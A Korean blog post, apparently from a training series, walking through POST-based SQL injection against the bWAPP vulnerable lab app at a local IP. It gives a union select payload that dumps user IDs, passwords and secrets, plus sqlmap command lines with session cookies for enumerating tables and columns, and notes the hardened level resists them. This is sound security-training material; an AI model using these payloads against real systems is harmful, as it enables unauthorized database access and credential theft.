본문 바로가기
3. 웹 애플리케이션 취약점 진단/비박스를 활용한 웹 애플리케이션 취약점 진단

[비박스를 활용한 웹 취약점 진단] 2-4. SQL 인젝션 [POST/SELECT]

by Robert8478 2023. 12. 12.

[난이도 하]

같은 문제인데 POST 유형이다. 버프슈트를 사용해서 인터셉트하면 아래에 movie와 action 변수값이 노출된다. 이를 변경하자

0 order by 8 을 넣어서 칼럼 수가 8자리인걸 확인했다. GET 문제와 똑같으므로 바로 칼럼명을 찾아보자.

0 union select null,id,password,email,secret,null,null from users 구문으로 바로 id와 비번 등을 찾아내었다.
물론 이 과정 전에 테이블명을 찾고 칼럼명을 찾고 해야하지만 이미 했던 과정이므로 넘겼다.
이번에는 다르게 이 과정을 수동으로 해보았으니 칼리리눅스에서 sqlmap을 활용해 자동으로 시도해보자.

칼리리눅스 터미널에서 sqlmap-h 를 치면 sqlmap에 대한 도움말이 나온다. 여기서 몇가지 옵션을 쓸 것이다.


[Sqlmap 옵션]
-u : 자동화 공격을 시도할 공격 페이지 URL주소 입력
--data : POST 방식을 사용하고 있으므로 이 옵션을 사용하여 인젝션을 시도할 변수를 명시한다.
--cookie : bWAPP은 로그인 후에 수행할 수 있기때문에 이 옵션에 쿠키값을 입력해야만 공격이 정상적으로 수행된다.
--dbs : 데이터베이스 정보를 획득한다.
-a : DB에 대한 모든 출력가능한 부분들을 출력해준다.
-p "movie" : 공격 가능 변수가 movie 이므로 지정해준다.
--tables : 테이블 정보 출력
--columns : 칼럼 정보 출력

쿠키값은 버프슈트에서 찾을 수 있으니 위 PHPSESSID의 값을 복사하자.

sqlmap -u "http://192.168.56.102/bWAPP/sqli_13.php" --cookie="PHPSESSID=6c5d5055066976b75b1ee7f03efeba16; security_level=0" --data "movie=1&action=go" -p "movie" -a
위 명령어를 입력하면 -a 옵션으로 인해 해당 DB에 대한 모든 정보가 나오게 된다. 대신 오래걸리기 때문에 테이블정보와 칼럼 정보만 알아보자.

- 테이블 검색-
sqlmap -u "http://192.168.56.102/bWAPP/sqli_13.php" --cookie="PHPSESSID=6c5d5055066976b75b1ee7f03efeba16; security_level=0" --data "movie=1&action=go" -p "movie" --tables

- 칼럼 검색-
sqlmap -u "http://192.168.56.102/bWAPP/sqli_13.php" --cookie="PHPSESSID=6c5d5055066976b75b1ee7f03efeba16; security_level=0" --data "movie=1&action=go" -p "movie" --columns 를 써보자.

그러면 여러 테이블에 대한 칼럼 정보가 나오는데 users 테이블에 존재하는 칼럼명들도 보인다. 이 칼럼들을 이용해서 union select를 하면 정보를 볼 수 있을것이다.

[난이도 중,상]
난이도 중은 전 문제와 같이 addslashes로 인해 필터링 되는 상황이고
난이도 상은 칼럼을 개별로 호출하고 연결하는 방식으로 막고 있는 상황이다.
난이도 상에서 리턴하는 sqli_13-ps.php 페이지를 sqlmap으로 공격을 시도해보자.

[코드]
sqlmap -u "http://192.168.56.102/bWAPP/sqli_13-ps.php" --cookie="PHPSESSID=6c5d5055066976b75b1ee7f03efeba16; security_level=0" --data "movie=1&action=go" -p "movie" --tables

그랬더니 자동화 도구에서도 inject를 할 수 없다고 나온다.
이런 방식의 대응방안을 수립하는 것도 중요할 것이다.